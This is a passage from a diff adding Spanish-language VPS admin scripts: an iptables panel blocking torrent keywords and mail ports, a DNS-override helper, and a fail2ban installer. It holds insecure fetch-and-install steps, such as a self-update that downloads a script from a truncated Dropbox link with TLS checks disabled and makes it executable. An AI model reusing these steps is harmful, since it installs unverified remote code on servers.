+		[ ! -d /var ] && mkdir /var
+		[ ! -d /var/www ] && mkdir /var/www
+		[ ! -d /var/www/html ] && mkdir /var/www/html
+		[ ! -e /var/www/html/index.html ] && touch /var/www/html/index.html
+		[ ! -e /var/www/index.html ] && touch /var/www/index.html
+		chmod -R 755 /var/www
+		cp $HOME/$arquivo_move /var/www/$arquivo_move
+		cp $HOME/$arquivo_move /var/www/html/$arquivo_move
+		echo -e "\033[1;36m http://$IP:81/$arquivo_move\033[0m"
+		msg -bar
+		echo -e "${cor[5]}$(fun_trans "Exito!")"
+		msg -bar
+	}
+	;;
+esac

+ 537 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/blockBT.sh

@@ -0,0 +1,537 @@
+#!/bin/bash
+ #19/12/19
+ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
+ export PATH
+ declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+ SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+ SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+ SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+ SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+ 
+ sh_ver="1.0.11"
+ Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m"
+ Info="${Green_font_prefix}[Informacion]${Font_color_suffix}"
+ Error="${Red_font_prefix}[Error]${Font_color_suffix}"
+ 
+ smtp_port="25,26,465,587"
+ pop3_port="109,110,995"
+ imap_port="143,218,220,993"
+ other_port="24,50,57,105,106,158,209,1109,24554,60177,60179"
+ bt_key_word="torrent
+ .torrent
+ peer_id=
+ announce
+ info_hash
+ get_peers
+ find_node
+ BitTorrent
+ announce_peer
+ BitTorrent protocol
+ announce.php?passkey=
+ magnet:
+ xunlei
+ sandai
+ Thunder
+ XLLiveUD"
+ 
+ check_sys(){
+ 	if [[ -f /etc/redhat-release ]]; then
+ 		release="centos"
+ 	elif cat /etc/issue | grep -q -E -i "debian"; then
+ 		release="debian"
+ 	elif cat /etc/issue | grep -q -E -i "ubuntu"; then
+ 		release="ubuntu"
+ 	elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then
+ 		release="centos"
+ 	elif cat /proc/version | grep -q -E -i "debian"; then
+ 		release="debian"
+ 	elif cat /proc/version | grep -q -E -i "ubuntu"; then
+ 		release="ubuntu"
+ 	elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then
+ 		release="centos"
+     fi
+ 	bit=`uname -m`
+ }
+ check_BT(){
+ 	Cat_KEY_WORDS
+ 	BT_KEY_WORDS=$(echo -e "$Ban_KEY_WORDS_list"|grep "torrent")
+ }
+ check_SPAM(){
+ 	Cat_PORT
+ 	SPAM_PORT=$(echo -e "$Ban_PORT_list"|grep "${smtp_port}")
+ }
+ Cat_PORT(){
+ 	Ban_PORT_list=$(iptables -t filter -L OUTPUT -nvx --line-numbers|grep "REJECT"|awk '{print $13}')
+ }
+ Cat_KEY_WORDS(){
+ 	Ban_KEY_WORDS_list=""
+ 	Ban_KEY_WORDS_v6_list=""
+ 	if [[ ! -z ${v6iptables} ]]; then
+ 		Ban_KEY_WORDS_v6_text=$(${v6iptables} -t mangle -L OUTPUT -nvx --line-numbers|grep "DROP")
+ 		Ban_KEY_WORDS_v6_list=$(echo -e "${Ban_KEY_WORDS_v6_text}"|sed -r 's/.*\"(.+)\".*/\1/')
+ 	fi
+ 	Ban_KEY_WORDS_text=$(${v4iptables} -t mangle -L OUTPUT -nvx --line-numbers|grep "DROP")
+ 	Ban_KEY_WORDS_list=$(echo -e "${Ban_KEY_WORDS_text}"|sed -r 's/.*\"(.+)\".*/\1/')
+ }
+ View_PORT(){
+ 	Cat_PORT
+ 	echo -e "========${Red_background_prefix} Puerto Bloqueado Actualmente ${Font_color_suffix}========="
+ 	echo -e "$Ban_PORT_list" && echo && echo -e "==============================================="
+ }
+ View_KEY_WORDS(){
+ 	Cat_KEY_WORDS
+ 	echo -e "============${Red_background_prefix} Actualmente Prohibido ${Font_color_suffix}============"
+ 	echo -e "$Ban_KEY_WORDS_list" && echo -e "==============================================="
+ }
+ View_ALL(){
+ 	echo
+ 	View_PORT
+ 	View_KEY_WORDS
+ 	echo
+ 	msg -bar2
+ }
+ Save_iptables_v4_v6(){
+ 	if [[ ${release} == "centos" ]]; then
+ 		if [[ ! -z "$v6iptables" ]]; then
+ 			service ip6tables save
+ 			chkconfig --level 2345 ip6tables on
+ 		fi
+ 		service iptables save
+ 		chkconfig --level 2345 iptables on
+ 	else
+ 		if [[ ! -z "$v6iptables" ]]; then
+ 			ip6tables-save > /etc/ip6tables.up.rules
+ 			echo -e "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules" > /etc/network/if-pre-up.d/iptables
+ 		else
+ 			echo -e "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules" > /etc/network/if-pre-up.d/iptables
+ 		fi
+ 		iptables-save > /etc/iptables.up.rules
+ 		chmod +x /etc/network/if-pre-up.d/iptables
+ 	fi
+ }
+ Set_key_word() { $1 -t mangle -$3 OUTPUT -m string --string "$2" --algo bm --to 65535 -j DROP; }
+ Set_tcp_port() {
+ 	[[ "$1" = "$v4iptables" ]] && $1 -t filter -$3 OUTPUT -p tcp -m multiport --dports "$2" -m state --state NEW,ESTABLISHED -j REJECT --reject-with icmp-port-unreachable
+ 	[[ "$1" = "$v6iptables" ]] && $1 -t filter -$3 OUTPUT -p tcp -m multiport --dports "$2" -m state --state NEW,ESTABLISHED -j REJECT --reject-with tcp-reset
+ }
+ Set_udp_port() { $1 -t filter -$3 OUTPUT -p udp -m multiport --dports "$2" -j DROP; }
+ Set_SPAM_Code_v4(){
+ 	for i in ${smtp_port} ${pop3_port} ${imap_port} ${other_port}
+ 		do
+ 		Set_tcp_port $v4iptables "$i" $s
+ 		Set_udp_port $v4iptables "$i" $s
+ 	done
+ }
+ Set_SPAM_Code_v4_v6(){
+ 	for i in ${smtp_port} ${pop3_port} ${imap_port} ${other_port}
+ 	do
+ 		for j in $v4iptables $v6iptables
+ 		do
+ 			Set_tcp_port $j "$i" $s
+ 			Set_udp_port $j "$i" $s
+ 		done
+ 	done
+ }
+ Set_PORT(){
+ 	if [[ -n "$v4iptables" ]] && [[ -n "$v6iptables" ]]; then
+ 		Set_tcp_port $v4iptables $PORT $s
+ 		Set_udp_port $v4iptables $PORT $s
+ 		Set_tcp_port $v6iptables $PORT $s
+ 		Set_udp_port $v6iptables $PORT $s
+ 	elif [[ -n "$v4iptables" ]]; then
+ 		Set_tcp_port $v4iptables $PORT $s
+ 		Set_udp_port $v4iptables $PORT $s
+ 	fi
+ 	Save_iptables_v4_v6
+ }
+ Set_KEY_WORDS(){
+ 	key_word_num=$(echo -e "${key_word}"|wc -l)
+ 	for((integer = 1; integer <= ${key_word_num}; integer++))
+ 		do
+ 			i=$(echo -e "${key_word}"|sed -n "${integer}p")
+ 			Set_key_word $v4iptables "$i" $s
+ 			[[ ! -z "$v6iptables" ]] && Set_key_word $v6iptables "$i" $s
+ 	done
+ 	Save_iptables_v4_v6
+ }
+ Set_BT(){
+ 	key_word=${bt_key_word}
+ 	Set_KEY_WORDS
+ 	Save_iptables_v4_v6
+ }
+ Set_SPAM(){
+ 	if [[ -n "$v4iptables" ]] && [[ -n "$v6iptables" ]]; then
+ 		Set_SPAM_Code_v4_v6
+ 	elif [[ -n "$v4iptables" ]]; then
+ 		Set_SPAM_Code_v4
+ 	fi
+ 	Save_iptables_v4_v6
+ }
+ Set_ALL(){
+ 	Set_BT
+ 	Set_SPAM
+ }
+ Ban_BT(){
+ 	check_BT
+ 	[[ ! -z ${BT_KEY_WORDS} ]] && echo -e "${Error} Torrent bloqueados y Palabras Claves, no es\nnecesario volver a prohibirlas !" && msg -bar2 && exit 0
+ 	s="A"
+ 	Set_BT
+ 	View_ALL
+ 	echo -e "${Info} Torrent bloqueados y Palabras Claves !"
+ 	msg -bar2
+ }
+ Ban_SPAM(){
+ 	check_SPAM
+ 	[[ ! -z ${SPAM_PORT} ]] && echo -e "${Error} Se detectó un puerto SPAM bloqueado, no es\nnecesario volver a bloquear !" && msg -bar2 && exit 0
+ 	s="A"
+ 	Set_SPAM
+ 	View_ALL
+ 	echo -e "${Info} Puertos SPAM Bloqueados !"
+ 	msg -bar2
+ }
+ Ban_ALL(){
+ 	check_BT
+ 	check_SPAM
+ 	s="A"
+ 	if [[ -z ${BT_KEY_WORDS} ]]; then
+ 		if [[ -z ${SPAM_PORT} ]]; then
+ 			Set_ALL
+ 			View_ALL
+ 			echo -e "${Info} Torrent bloqueados, Palabras Claves y Puertos SPAM !"
+ 			msg -bar2
+ 		else
+ 			Set_BT
+ 			View_ALL
+ 			echo -e "${Info} Torrent bloqueados y Palabras Claves !"
+ 		fi
+ 	else
+ 		if [[ -z ${SPAM_PORT} ]]; then
+ 			Set_SPAM
+ 			View_ALL
+ 			echo -e "${Info} Puerto SPAM (spam) prohibido !"
+ 		else
+ 			echo -e "${Error} Torrent Bloqueados, Palabras Claves y Puertos SPAM,\nno es necesario volver a prohibir !" && msg -bar2 && exit 0
+ 		fi
+ 	fi
+ }
+ UnBan_BT(){
+ 	check_BT
+ 	[[ -z ${BT_KEY_WORDS} ]] && echo -e "${Error} Torrent y Palabras Claves no bloqueadas, verifique !"&& msg -bar2 && exit 0
+ 	s="D"
+ 	Set_BT
+ 	View_ALL
+ 	echo -e "${Info} Torrent Desbloqueados y Palabras Claves !"
+ 	msg -bar2
+ }
+ UnBan_SPAM(){
+ 	check_SPAM
+ 	[[ -z ${SPAM_PORT} ]] && echo -e "${Error} Puerto SPAM no detectados, verifique !" && msg -bar2 && exit 0
+ 	s="D"
+ 	Set_SPAM
+ 	View_ALL
+ 	echo -e "${Info} Puertos de SPAM Desbloqueados !"
+ 	msg -bar2
+ }
+ UnBan_ALL(){
+ 	check_BT
+ 	check_SPAM
+ 	s="D"
+ 	if [[ ! -z ${BT_KEY_WORDS} ]]; then
+ 		if [[ ! -z ${SPAM_PORT} ]]; then
+ 			Set_ALL
+ 			View_ALL
+ 			echo -e "${Info} Torrent, Palabras Claves y Puertos SPAM Desbloqueados !"
+ 			msg -bar2
+ 		else
+ 			Set_BT
+ 			View_ALL
+ 			echo -e "${Info} Torrent, Palabras Claves Desbloqueados !"
+ 			msg -bar2
+ 		fi
+ 	else
+ 		if [[ ! -z ${SPAM_PORT} ]]; then
+ 			Set_SPAM
+ 			View_ALL
+ 			echo -e "${Info} Puertos SPAM Desbloqueados !"
+ 			msg -bar2
+ 		else
+ 			echo -e "${Error} No se  detectan Torrent, Palabras Claves y Puertos SPAM Bloqueados, verifique !" && msg -bar2 && exit 0
+ 		fi
+ 	fi
+ }
+ ENTER_Ban_KEY_WORDS_type(){
+ 	Type=$1
+ 	Type_1=$2
+ 	if [[ $Type_1 != "ban_1" ]]; then
+ 		echo -e "Por favor seleccione un tipo de entrada:
+ 		
+  1. Entrada manual (solo se admiten palabras clave únicas)
+  
+  2. Lectura local de archivos (admite lectura por lotes de palabras clave, una palabra clave por línea)
+  
+  3. Lectura de dirección de red (admite lectura por lotes de palabras clave, una palabra clave por línea)" && echo
+ 		read -e -p "(Por defecto: 1. Entrada manual):" key_word_type
+ 	fi
+ 	[[ -z "${key_word_type}" ]] && key_word_type="1"
+ 	if [[ ${key_word_type} == "1" ]]; then
+ 		if [[ $Type == "ban" ]]; then
+ 			ENTER_Ban_KEY_WORDS
+ 		else
+ 			ENTER_UnBan_KEY_WORDS
+ 		fi
+ 	elif [[ ${key_word_type} == "2" ]]; then
+ 		ENTER_Ban_KEY_WORDS_file
+ 	elif [[ ${key_word_type} == "3" ]]; then
+ 		ENTER_Ban_KEY_WORDS_url
+ 	else
+ 		if [[ $Type == "ban" ]]; then
+ 			ENTER_Ban_KEY_WORDS
+ 		else
+ 			ENTER_UnBan_KEY_WORDS
+ 		fi
+ 	fi
+ }
+ ENTER_Ban_PORT(){
+ 	echo -e "Ingrese el puerto que Bloqueará:\n(segmento de Puerto único / Puerto múltiple / Puerto continuo)\n"
+ 	if [[ ${Ban_PORT_Type_1} != "1" ]]; then
+ 	echo -e "
+ 	${Green_font_prefix}======== Ejemplo Descripción ========${Font_color_suffix}
+ 	
+  -Puerto único: 25 (puerto único)
+  
+  -Multipuerto: 25, 26, 465, 587 (varios puertos están separados por comas)
+ 
+  -Segmento de puerto continuo: 25: 587 (todos los puertos entre 25-587)" && echo
+ 	fi
+ 	read -e -p "(Intro se cancela por defecto):" PORT
+ 	[[ -z "${PORT}" ]] && echo "Cancelado..." && View_ALL && exit 0
+ }
+ ENTER_Ban_KEY_WORDS(){
+     msg -bar2
+ 	echo -e "Ingrese las palabras clave que se prohibirán\n(nombre de dominio, etc., solo admite una sola palabra clave)"
+ 	if [[ ${Type_1} != "ban_1" ]]; then
+ 	echo ""
+ 	echo -e "${Green_font_prefix}======== Ejemplo Descripción ========${Font_color_suffix}
+ 	
+  -Palabras clave: youtube, que prohíbe el acceso a cualquier nombre de dominio que contenga la palabra clave youtube.
+  
+  -Palabras clave: youtube.com, que prohíbe el acceso a cualquier nombre de dominio (máscara de nombre de pan-dominio) que contenga la palabra clave youtube.com.
+ 
+  -Palabras clave: www.youtube.com, que prohíbe el acceso a cualquier nombre de dominio (máscara de subdominio) que contenga la palabra clave www.youtube.com.
+ 
+  -Autoevaluación de más efectos (como la palabra clave .zip se puede usar para deshabilitar la descarga de cualquier archivo de sufijo .zip)." && echo
+ 	fi
+ 	read -e -p "(Intro se cancela por defecto):" key_word
+ 	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
+ }
+ ENTER_Ban_KEY_WORDS_file(){
+ 	echo -e "Ingrese el archivo local de palabras clave que se prohibirá / desbloqueará (utilice la ruta absoluta)" && echo
+ 	read -e -p "(El valor predeterminado es leer key_word.txt en el mismo directorio que el script):" key_word
+ 	[[ -z "${key_word}" ]] && key_word="key_word.txt"
+ 	if [[ -e "${key_word}" ]]; then
+ 		key_word=$(cat "${key_word}")
+ 		[[ -z ${key_word} ]] && echo -e "${Error} El contenido del archivo está vacío. !" && View_ALL && exit 0
+ 	else
+ 		echo -e "${Error} Archivo no encontrado ${key_word} !" && View_ALL && exit 0
+ 	fi
+ }
+ ENTER_Ban_KEY_WORDS_url(){
+ 	echo -e "Ingrese la dirección del archivo de red de palabras clave que se prohibirá / desbloqueará (por ejemplo, http: //xxx.xx/key_word.txt)" && echo
+ 	read -e -p "(Intro se cancela por defecto):" key_word
+ 	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
+ 	key_word=$(wget --no-check-certificate -t3 -T5 -qO- "${key_word}")
+ 	[[ -z ${key_word} ]] && echo -e "${Error} El contenido del archivo de red está vacío o se agotó el tiempo de acceso !" && View_ALL && exit 0
+ }
+ ENTER_UnBan_KEY_WORDS(){
+ 	View_KEY_WORDS
+ 	echo -e "Ingrese la palabra clave que desea desbloquear (ingrese la palabra clave completa y precisa de acuerdo con la lista anterior)" && echo
+ 	read -e -p "(Intro se cancela por defecto):" key_word
+ 	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
+ }
+ ENTER_UnBan_PORT(){
+ 	echo -e "Ingrese el puerto que desea desempaquetar:\n(ingrese el puerto completo y preciso de acuerdo con la lista anterior, incluyendo comas, dos puntos)" && echo
+ 	read -e -p "(Intro se cancela por defecto):" PORT
+ 	[[ -z "${PORT}" ]] && echo "Cancelado ..." && View_ALL && exit 0
+ }
+ Ban_PORT(){
+ 	s="A"
+ 	ENTER_Ban_PORT
+ 	Set_PORT
+ 	echo -e "${Info} Puerto bloqueado [ ${PORT} ] !\n"
+ 	Ban_PORT_Type_1="1"
+ 	while true
+ 	do
+ 		ENTER_Ban_PORT
+ 		Set_PORT
+ 		echo -e "${Info} Puerto bloqueado [ ${PORT} ] !\n"
+ 	done
+ 	View_ALL
+ }
+ Ban_KEY_WORDS(){
+ 	s="A"
+ 	ENTER_Ban_KEY_WORDS_type "ban"
+ 	Set_KEY_WORDS
+ 	echo -e "${Info} Palabras clave bloqueadas [ ${key_word} ] !\n"
+ 	while true
+ 	do
+ 		ENTER_Ban_KEY_WORDS_type "ban" "ban_1"
+ 		Set_KEY_WORDS
+ 		echo -e "${Info} Palabras clave bloqueadas [ ${key_word} ] !\n"
+ 	done
+ 	View_ALL
+ }
+ UnBan_PORT(){
+ 	s="D"
+ 	View_PORT
+ 	[[ -z ${Ban_PORT_list} ]] && echo -e "${Error} Se detecta cualquier puerto no bloqueado !" && exit 0
+ 	ENTER_UnBan_PORT
+ 	Set_PORT
+ 	echo -e "${Info} Puerto decapsulado [ ${PORT} ] !\n"
+ 	while true
+ 	do
+ 		View_PORT
+ 		[[ -z ${Ban_PORT_list} ]] && echo -e "${Error} No se detecta puertos bloqueados !" && msg -bar2 && exit 0
+ 		ENTER_UnBan_PORT
+ 		Set_PORT
+ 		echo -e "${Info} Puerto decapsulado [ ${PORT} ] !\n"
+ 	done
+ 	View_ALL
+ }
+ UnBan_KEY_WORDS(){
+ 	s="D"
+ 	Cat_KEY_WORDS
+ 	[[ -z ${Ban_KEY_WORDS_list} ]] && echo -e "${Error} No se ha detectado ningún bloqueo !" && exit 0
+ 	ENTER_Ban_KEY_WORDS_type "unban"
+ 	Set_KEY_WORDS
+ 	echo -e "${Info} Palabras clave desbloqueadas [ ${key_word} ] !\n"
+ 	while true
+ 	do
+ 		Cat_KEY_WORDS
+ 		[[ -z ${Ban_KEY_WORDS_list} ]] && echo -e "${Error} No se ha detectado ningún bloqueo !" && msg -bar2 && exit 0
+ 		ENTER_Ban_KEY_WORDS_type "unban" "ban_1"
+ 		Set_KEY_WORDS
+ 		echo -e "${Info} Palabras clave desbloqueadas [ ${key_word} ] !\n"
+ 	done
+ 	View_ALL
+ }
+ UnBan_KEY_WORDS_ALL(){
+ 	Cat_KEY_WORDS
+ 	[[ -z ${Ban_KEY_WORDS_text} ]] && echo -e "${Error} No se detectó ninguna clave, verifique !" && msg -bar2 && exit 0
+ 	if [[ ! -z "${v6iptables}" ]]; then
+ 		Ban_KEY_WORDS_v6_num=$(echo -e "${Ban_KEY_WORDS_v6_list}"|wc -l)
+ 		for((integer = 1; integer <= ${Ban_KEY_WORDS_v6_num}; integer++))
+ 			do
+ 				${v6iptables} -t mangle -D OUTPUT 1
+ 		done
+ 	fi
+ 	Ban_KEY_WORDS_num=$(echo -e "${Ban_KEY_WORDS_list}"|wc -l)
+ 	for((integer = 1; integer <= ${Ban_KEY_WORDS_num}; integer++))
+ 		do
+ 			${v4iptables} -t mangle -D OUTPUT 1
+ 	done
+ 	Save_iptables_v4_v6
+ 	View_ALL
+ 	echo -e "${Info} Todas las palabras clave han sido desbloqueadas !"
+ }
+ check_iptables(){
+ 	v4iptables=`iptables -V`
+ 	v6iptables=`ip6tables -V`
+ 	if [[ ! -z ${v4iptables} ]]; then
+ 		v4iptables="iptables"
+ 		if [[ ! -z ${v6iptables} ]]; then
+ 			v6iptables="ip6tables"
+ 		fi
+ 	else
+ 		echo -e "${Error} El firewall de iptables no está instalado !
+ Por favor, instale el firewall de iptables:
+ CentOS Sistema: yum install iptables -y
+ Debian / Ubuntu Sistema: apt-get install iptables -y"
+ 	fi
+ }
+ Update_Shell(){
+ 	sh_new_ver=$(wget --no-check-certificate -qO- -t1 -T3 "https://www.dropbox"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1)
+ 	[[ -z ${sh_new_ver} ]] && echo -e "${Error} No se puede vincular a Github !" && exit 0
+ 	wget https://www.dropbox.com/s/xle -O /etc/ger-frm/blockBT.sh &> /dev/null
+ 	chmod +x /etc/ger-frm/blockBT.sh
+ 	echo -e "El script ha sido actualizado a la última versión.[ ${sh_new_ver} ]"
+ 	msg -bar2 
+ 	exit 0
+ }
+ check_sys
+ check_iptables
+ action=$1
+ if [[ ! -z $action ]]; then
+ 	[[ $action = "banbt" ]] && Ban_BT && exit 0
+ 	[[ $action = "banspam" ]] && Ban_SPAM && exit 0
+ 	[[ $action = "banall" ]] && Ban_ALL && exit 0
+ 	[[ $action = "unbanbt" ]] && UnBan_BT && exit 0
+ 	[[ $action = "unbanspam" ]] && UnBan_SPAM && exit 0
+ 	[[ $action = "unbanall" ]] && UnBan_ALL && exit 0
+ fi
+ clear
+ clear
+ msg -bar
+ echo  -e "$(msg -tit) " 
+ echo -e "  Panel de Firewall VPS•MX By @Kalix1 ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix}"
+ msg -bar2
+ echo -e "  ${Green_font_prefix}0.${Font_color_suffix} Ver la lista actual de prohibidos
+ ————————————
+   ${Green_font_prefix}1.${Font_color_suffix} Bloquear Torrent, Palabras Clave
+   ${Green_font_prefix}2.${Font_color_suffix} Bloquear Puertos SPAM 
+   ${Green_font_prefix}3.${Font_color_suffix} Bloquear Torrent, Palabras Clave + Puertos SPAM
+   ${Green_font_prefix}4.${Font_color_suffix} Bloquear Puerto personalizado
+   ${Green_font_prefix}5.${Font_color_suffix} Bloquear Palabras Clave Personalizadas
+ ————————————
+   ${Green_font_prefix}6.${Font_color_suffix} Desbloquear Torrent, Palabras Clave
+   ${Green_font_prefix}7.${Font_color_suffix} Desbloquear Puertos SPAM
+   ${Green_font_prefix}8.${Font_color_suffix} Desbloquear Torrent, Palabras Clave , Puertos SPAM
+   ${Green_font_prefix}9.${Font_color_suffix} Desbloquear Puerto Personalizado
+  ${Green_font_prefix}10.${Font_color_suffix} Desbloquear Palabra Clave Personalizadas
+  ${Green_font_prefix}11.${Font_color_suffix} Desbloquear Todas las palabras Clave Personalizadas
+ ————————————
+  ${Green_font_prefix}12.${Font_color_suffix} Actualizar script" && msg -bar2
+ read -e -p " Por favor ingrese un número [0-12]:" num && msg -bar2
+ case "$num" in
+ 	0)
+ 	View_ALL
+ 	;;
+ 	1)
+ 	Ban_BT
+ 	;;
+ 	2)
+ 	Ban_SPAM
+ 	;;
+ 	3)
+ 	Ban_ALL
+ 	;;
+ 	4)
+ 	Ban_PORT
+ 	;;
+ 	5)
+ 	Ban_KEY_WORDS
+ 	;;
+ 	6)
+ 	UnBan_BT
+ 	;;
+ 	7)
+ 	UnBan_SPAM
+ 	;;
+ 	8)
+ 	UnBan_ALL
+ 	;;
+ 	9)
+ 	UnBan_PORT
+ 	;;
+ 	10)
+ 	UnBan_KEY_WORDS
+ 	;;
+ 	11)
+ 	UnBan_KEY_WORDS_ALL
+ 	;;
+ 	12)
+ 	Update_Shell
+ 	;;
+ 	*)
+ 	echo "Por favor ingrese el número correcto [0-12]"
+ 	;;
+ esac 

+ 39 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/dns-netflix.sh

@@ -0,0 +1,39 @@
+# !/bin/bash
+# 27/01/2021
+clear
+clear
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
+SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+dnsnetflix () {
+echo "nameserver $dnsp" > /etc/resolv.conf
+#echo "nameserver 8.8.8.8" >> /etc/resolv.conf
+/etc/init.d/ssrmu stop &>/dev/null
+/etc/init.d/ssrmu start &>/dev/null
+/etc/init.d/shadowsocks-r stop &>/dev/null
+/etc/init.d/shadowsocks-r start &>/dev/null
+msg -bar2
+echo -e "${cor[4]}  DNS AGREGADOS CON EXITO"
+} 
+clear
+msg -bar2
+msg -tit
+echo -e "\033[1;93m     AGREGARDOR DE DNS PERSONALES By @USA1_BOT "
+msg -bar2
+echo -e "\033[1;39m Esta funcion ara que puedas ver Netflix con tu VPS"
+msg -bar2
+echo -e "\033[1;91m ¡ Solo seran utiles si registraste tu IP en el BOT !"
+echo -e "\033[1;39m En APPS como HTTP Inyector,KPN Rev,APKCUSTOM, etc."
+echo -e "\033[1;39m Se deveran agregar en la aplicasion a usar estos DNS."
+echo -e "\033[1;39m En APPS como SS,SSR,V2RAY no es necesario agregarlos."
+msg -bar2
+echo -e "\033[1;93m Recuerde escojer entre 1 DNS ya sea el de USA,BR,MX,CL \n segun le aya entregado el BOT."
+echo ""
+echo -e "\033[1;97m Ingrese su DNS a usar: \033[0;91m"; read -p "   "  dnsp
+echo ""
+msg -bar2
+read -p " Estas seguro de continuar?  [ s | n ]: " dnsnetflix   
+[[ "$dnsnetflix" = "s" || "$dnsnetflix" = "S" ]] && dnsnetflix
+msg -bar2

+ 433 - 0
SCRIPT-v8.5x Mod/VPS-MX/herramientas/fai2ban.sh

@@ -0,0 +1,433 @@
+#!/bin/bash
+ #27/01/2021
+ declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+ pid_fail=$(dpkg -l | grep fail2ban | grep ii)
+ apache=$(dpkg -l | grep apache2 | grep ii)
+ squid=$(dpkg -l | grep squid | grep ii)
+ dropbear=$(dpkg -l | grep dropbear | grep ii)
+ openssh=$(dpkg -l | grep openssh | grep ii)
+ stunnel4=$(dpkg -l | grep stunnel4 | grep ii)
+ [[ "$openssh" != "" ]] && s1="ssh"
+ [[ "$squid" != "" ]] && s2="squid"
+ [[ "$dropbear" != "" ]] && s3="dropbear"
+ [[ "$apache" != "" ]] && s4="apache"
+ [[ "$stunnel4" != "" ]] && s5="stunnel4"
+ clear
+ clear
+ msg -bar
+ msg -tit
+ echo -e "\e[93m         --   Fail2ban Protection v0.11.2 -- "
+ echo -e "\e[97m          Anti ataques DDOS y spoofing SPAM"
+ msg -bar
+ if [[ ! -z "$pid_fail" ]]; then
+  echo -e "${cor[2]} [1] >${cor[5]} $(fun_trans "Desinstalar Fail2ban")"
+  echo -e "${cor[2]} [2] >\e[92m $(fun_trans "Mirar el registro")"
+  msg -bar
+   while [[ -z ${logxyz} || ${logxyz} != @(1|2) ]]; do
+    echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read logxyz
+    tput cuu1 && tput dl1
+   done
+  case ${logxyz} in
+   1)apt-get remove fail2ban -y &> /dev/null;;
+   2)cat /var/log/fail2ban.log 
+     msg -bar;;
+  esac
+ exit 0
+ fi
+ echo -e "${cor[5]}        Desea Instalar  Fail2ban?"
+ msg -bar
+   while [[ -z ${fail2ban} || ${fail2ban} != @(s|S|n|N|y|Y) ]]; do
+    echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion") [S/N]: " && read fail2ban
+    tput cuu1 && tput dl1
+   done
+ if [[ "$fail2ban" = @(s|S|y|Y) ]]; then
+ apt-get install fail2ban -y &> /dev/null
+ wget -O $HOME/fail2ban https://github.com/fail2ban/fail2ban/archive/0.11.2.tar.gz &> /dev/null
+ tar -xf $HOME/fail2ban &> /dev/null
+ cd $HOME/fail2ban-0.11.2 &> /dev/null
+ python ./setup.py install &> /dev/null
+ echo '[INCLUDES]
+ before = paths-debian.conf
+ [DEFAULT]
+ ignoreip = 127.0.0.1/8
+ # ignorecommand = /path/to/command <ip>
+ ignorecommand =
+ bantime  = 1036800
+ findtime  = 3600
+ maxretry = 5
+ backend = auto
+ usedns = warn
+ logencoding = auto
+ enabled = false
+ filter = %(__name__)s
+ destemail = root@localhost
+ sender = root@localhost
+ mta = sendmail
+ protocol = tcp
+ chain = INPUT
+ port = 0:65535
+ fail2ban_agent = Fail2Ban/%(fail2ban_version)s
+ banaction = iptables-multiport
+ banaction_allports = iptables-allports
+ action_ = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+ action_mw = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+             %(mta)s-whois[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", protocol="%(protocol)s", chain="%(chain)s"]
+ action_mwl = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+              %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"]
+ action_xarf = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+              xarf-login-attack[service=%(__name__)s, sender="%(sender)s", logpath=%(logpath)s, port="%(port)s"]
+ action_cf_mwl = cloudflare[cfuser="%(cfemail)s", cftoken="%(cfapikey)s"]
+                 %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"]
+ action_blocklist_de  = blocklist_de[email="%(sender)s", service=%(filter)s, apikey="%(blocklist_de_apikey)s", agent="%(fail2ban_agent)s"]
+ action_badips = badips.py[category="%(__name__)s", banaction="%(banaction)s", agent="%(fail2ban_agent)s"]
+ action_badips_report = badips[category="%(__name__)s", agent="%(fail2ban_agent)s"]
+ action = %(action_)s' > /etc/fail2ban/jail.local
